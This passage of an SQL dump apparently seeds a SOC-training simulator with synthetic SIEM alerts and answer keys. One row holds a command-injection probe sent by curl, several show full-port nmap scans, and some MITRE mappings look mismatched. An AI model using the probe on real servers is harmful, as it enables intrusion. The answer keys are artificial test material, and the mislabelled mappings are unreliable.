IP\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://trustedcompany.com/promo\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Verified as part of a legitimate campaign\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"OSINT confirmed the URL and sender domain as part of a legitimate marketing effort.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1840, 'Scheduled System Health Check Detected', 'low', 'Wazuh', 'A system health check script was executed, flagged by the system due to its similarity to known attack patterns. It was confirmed to be a scheduled maintenance task.', 'Command Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.150\",\"hostname\":\"Server-Maintenance\",\"command_line\":\"/usr/local/bin/syscheck.sh\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for system maintenance\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/local/bin/syscheck.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as a routine system check script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"command_execution\",\"analysis_notes\":\"The command is part of scheduled health checks performed regularly.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1841, 'Misconfigured Application Causing Suspicious Traffic', 'medium', 'Elastic SIEM', 'High volume of outbound traffic from a legacy app server was flagged as suspicious. Investigation indicates a misconfiguration causing excess data sync.', 'Data Exfil', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:50:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.200\",\"dst_ip\":\"203.0.113.99\",\"hostname\":\"LegacyApp-Server\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this external IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic was due to a misconfigured sync process rather than malicious exfiltration.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1842, 'Unauthorized Credential Usage Detected', 'high', 'Azure Sentinel', 'Anomalous login attempt detected from a foreign IP using valid credentials. OSINT confirms this IP is associated with brute force attacks.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.143.223.12\",\"username\":\"jdoe\",\"hostname\":\"Corp-Login-01\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"No known issues with this user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is linked to known brute force attacks, confirming malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1843, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A vulnerability scanning tool was detected scanning internal systems for vulnerabilities. The activity originated from a known internal IP address.', 'Network Scanning', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"admin\",\"hostname\":\"vulnscanner01\",\"request_body\":\"\",\"command_line\":\"nmap -sV -p 1-65535 192.168.1.101\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p 1-65535 192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Tool Documentation\",\"verdict\":\"clean\",\"details\":\"Standard command for internal network scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scanning\",\"analysis_notes\":\"Routine scanning by IT department for security assessment.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1844, 'Suspicious Login Attempt from Authorized Backup System', 'medium', 'Azure Sentinel', 'An unusual login attempt was detected from an IP address belonging to an authorized backup system. The login attempt appears to be part of routine backup processes.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.1.200\",\"username\":\"backup_admin\",\"hostname\":\"backup01\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by backup systems.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Records\",\"verdict\":\"clean\",\"details\":\"Authorized user account for backup processes.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempt was part of a scheduled backup routine.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1845, 'Authorized Administrative Backup Detected', 'low', 'Wazuh', 'A scheduled administrative backup was initiated, detected as a high volume of network traffic. This is a routine operation.', 'Data Transfer', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T01:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"192.168.1.250\",\"username\":\"backup_service\",\"hostname\":\"backupserver01\",\"request_body\":\"\",\"command_line\":\"rsync -av --delete /data 192.168.1.250:/backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -av --delete /data 192.168.1.250:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Backup Procedure Manual\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"Recognized as part of routine data backup operations.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1846, 'Misconfigured Legacy Application Activity', 'medium', 'Elastic SIEM', 'A legacy application generated excessive network traffic and login attempts, which were flagged as suspicious but matched known behavior patterns.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.100\",\"username\":\"legacy_app\",\"hostname\":\"legacyserver01\",\"request_body\":\"\",\"command_line\":\"python legacy_script.py\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Map\",\"verdict\":\"internal\",\"details\":\"IP address of legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python legacy_script.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Legacy System Documentation\",\"verdict\":\"clean\",\"details\":\"Regularly executed script on legacy systems.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Activity consistent with routine operation of legacy applications.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1847, 'Unauthorized Application Installation Detected', 'high', 'Wazuh', 'A suspicious process execution was detected on a workstation, indicating potential unauthorized software installation.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.3.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"request_body\":\"\",\"command_line\":\"C:\\\\Temp\\\\malicious_installer.exe\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for distributing malware.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Temp\\\\malicious_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Executable file flagged as malicious by 12 antivirus engines.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This alert is a true positive, indicating a malware infection attempt on the workstation.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1848, 'Routine Vulnerability Scanning Detected from Internal Network', 'low', 'Splunk', 'A series of network vulnerability scans originating from an internal IP address were detected. These scans are part of a scheduled system health check by the IT department.', 'Network Scanning', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"it_admin\",\"hostname\":\"scanner01.internal.net\",\"command_line\":\"nmap -sV -p- 192.168.1.10\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p- 192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for vulnerability assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scanning\",\"analysis_notes\":\"The activity was confirmed as a sanctioned IT operation for vulnerability scanning.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1849, 'Failed Login Attempts from External IP Address', 'medium', 'Elastic SIEM', 'Multiple failed login attempts were detected from an external IP address. These activities were investigated and found to be part of an authorized external penetration test.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.20\",\"username\":\"external_tester\",\"hostname\":\"webserver01.internal.net\",\"failed_attempts\":15}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for failed login attempts during authorized test\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"external_tester\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username used during authorized penetration testing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP was part of a scheduled penetration test with known credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1850, 'Scheduled System Backup Detected as Suspicious Activity', 'low', 'Wazuh', 'A scheduled system backup was detected, initiating large data transfers. This was flagged as suspicious but was confirmed to be part of routine operations.', 'Data Transfer', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.2.50\",\"username\":\"backup_service\",\"hostname\":\"backup01.internal.net\",\"command_line\":\"rsync -avz /data /backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rsync -avz /data /backup\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for routine data backup\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_service\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Service account used for scheduled backups\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"The process was identified as a normal system backup operation.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1851, 'Misconfigured Legacy App Triggering Firewall Alerts', 'medium', 'Azure Sentinel', 'An outdated legacy application is triggering firewall alerts with its unusual traffic patterns. The application is known and regularly monitored by IT.', 'Network Traffic Anomaly', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.15\",\"dst_ip\":\"198.51.100.10\",\"username\":\"legacy_user\",\"hostname\":\"legacyapp.internal.net\",\"command_line\":\"java -jar legacyapp.jar\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"java -jar legacyapp.jar\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used to run legacy application\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_traffic_anomaly\",\"analysis_notes\":\"The alerts were due to known traffic patterns of a monitored legacy application.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1852, 'Unauthorized Remote Access Detected from External IP', 'high', 'Wazuh', 'A successful remote access was detected from an external IP address to an internal server using valid credentials. This was identified as an unauthorized access attempt.', 'Credential Access', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"185.199.108.153\",\"dst_ip\":\"192.168.1.30\",\"username\":\"compromised_user\",\"hostname\":\"server01.internal.net\",\"command_line\":\"ssh -i key.pem user@192.168.1.30\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access reports\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username compromised in this incident\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_access\",\"analysis_notes\":\"The access was verified as unauthorized with malicious intent based on OSINT results.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1853, 'Routine IT Vulnerability Scan Detected', 'low', 'Splunk', 'An internal vulnerability scan triggered multiple alerts due to its scanning behavior, which resembles malicious activity. The source IP belongs to the IT department.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.255\",\"username\":\"admin_scan\",\"hostname\":\"network-scanner\",\"command_line\":\"nmap -sV -p 1-65535 192.168.1.0/24\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sV -p 1-65535 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Nmap command commonly used for network scanning.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity was identified as a routine IT vulnerability scan, not a malicious lateral movement attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1854, 'Authorized Administrative Backup Detected', 'low', 'Azure Sentinel', 'A scheduled backup operation was misidentified as data exfiltration due to high volume of data transfer. Backup is authorized and occurs weekly.', 'Data Exfil', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:15:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.20\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/backup/ remote@backup-server:/backup/\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for authorized backup operations.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup/ remote@backup-server:/backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Rsync command used for data synchronization and backup.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected activity correlates with a scheduled and authorized backup operation.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1855, 'Misconfigured Legacy Application Network Activity', 'medium', 'Wazuh', 'A legacy application generated unusual network traffic patterns, triggering alerts. This activity is linked to a known misconfiguration.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"192.168.2.255\",\"username\":\"legacy_app\",\"hostname\":\"legacy-server\",\"command_line\":\"/usr/bin/legacyapp --connect 192.168.2.255\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/legacyapp --connect 192.168.2.255\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used by legacy application for network communication.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is due to a known misconfiguration in a legacy application, not a lateral movement attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1856, 'Benign System Health Check Triggered Potential Threat Alert', 'low', 'Elastic SIEM', 'A scheduled system health check was flagged as a potential threat due to high-frequency network probes. Activity is part of regular maintenance.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"192.168.3.255\",\"username\":\"sys_health\",\"hostname\":\"health-checker\",\"command_line\":\"/usr/bin/system_check --full-scan\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for system health checks.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/system_check --full-scan\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for performing full system health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The activity is part of scheduled system health checks, not malware activity.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1857, 'Potential Command Injection Attempt Detected', 'high', 'Splunk', 'A potential command injection attempt was detected by a web application firewall. Further investigation is required to confirm the threat.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:20:50Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.4.100\",\"username\":\"web_user\",\"hostname\":\"web-server\",\"request_body\":\"cmd.exe /c echo vulnerable\",\"command_line\":\"curl -X POST -d \'cmd.exe /c echo vulnerable\' http://192.168.4.100/execute\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"cmd.exe /c echo vulnerable\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of a known malicious IP and a command injection payload confirms this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1858, 'Routine IT Vulnerability Scan Detected as Brute Force Attack', 'low', 'Splunk', 'A series of login failures were detected from an internal IP address, which is consistent with routine IT vulnerability scanning operations.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:35:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"internal-scanner\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT department for vulnerability scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Username commonly used in internal scans.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity matches routine vulnerability scanning patterns and originates from an internal IP.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, NULL, 0),
(1859, 'Authorized Administrative Backup Triggered Malware Alert', 'medium', 'Wazuh', 'A backup script execution was flagged as malware due to its behavior resembling ransomware. Upon analysis, it is an authorized backup operation.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:47:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.20\",\"dst_ip\":\"\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"rsync -avz /data /backup\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rsync -avz /data /backup\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup operation using rsync.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized user for executing backup scripts.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command is a legitimate backup operation executed by an authorized user.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1860, 'Misconfigured Legacy Application Causes Suspicious Network Traffic', 'medium', 'Elastic SIEM', 'Network activity from a legacy application was flagged as suspicious due to non-standard communication patterns, which are typical for its outdated protocol.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:12:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.50\",\"username\":\"\",\"hostname\":\"legacy-app-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:07:21', '2026-03-16 03:07:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address receiving data from a legacy application.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This traffic is generated by an outdated protocol from a legacy system, not indicative of an attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, NULL, 0),
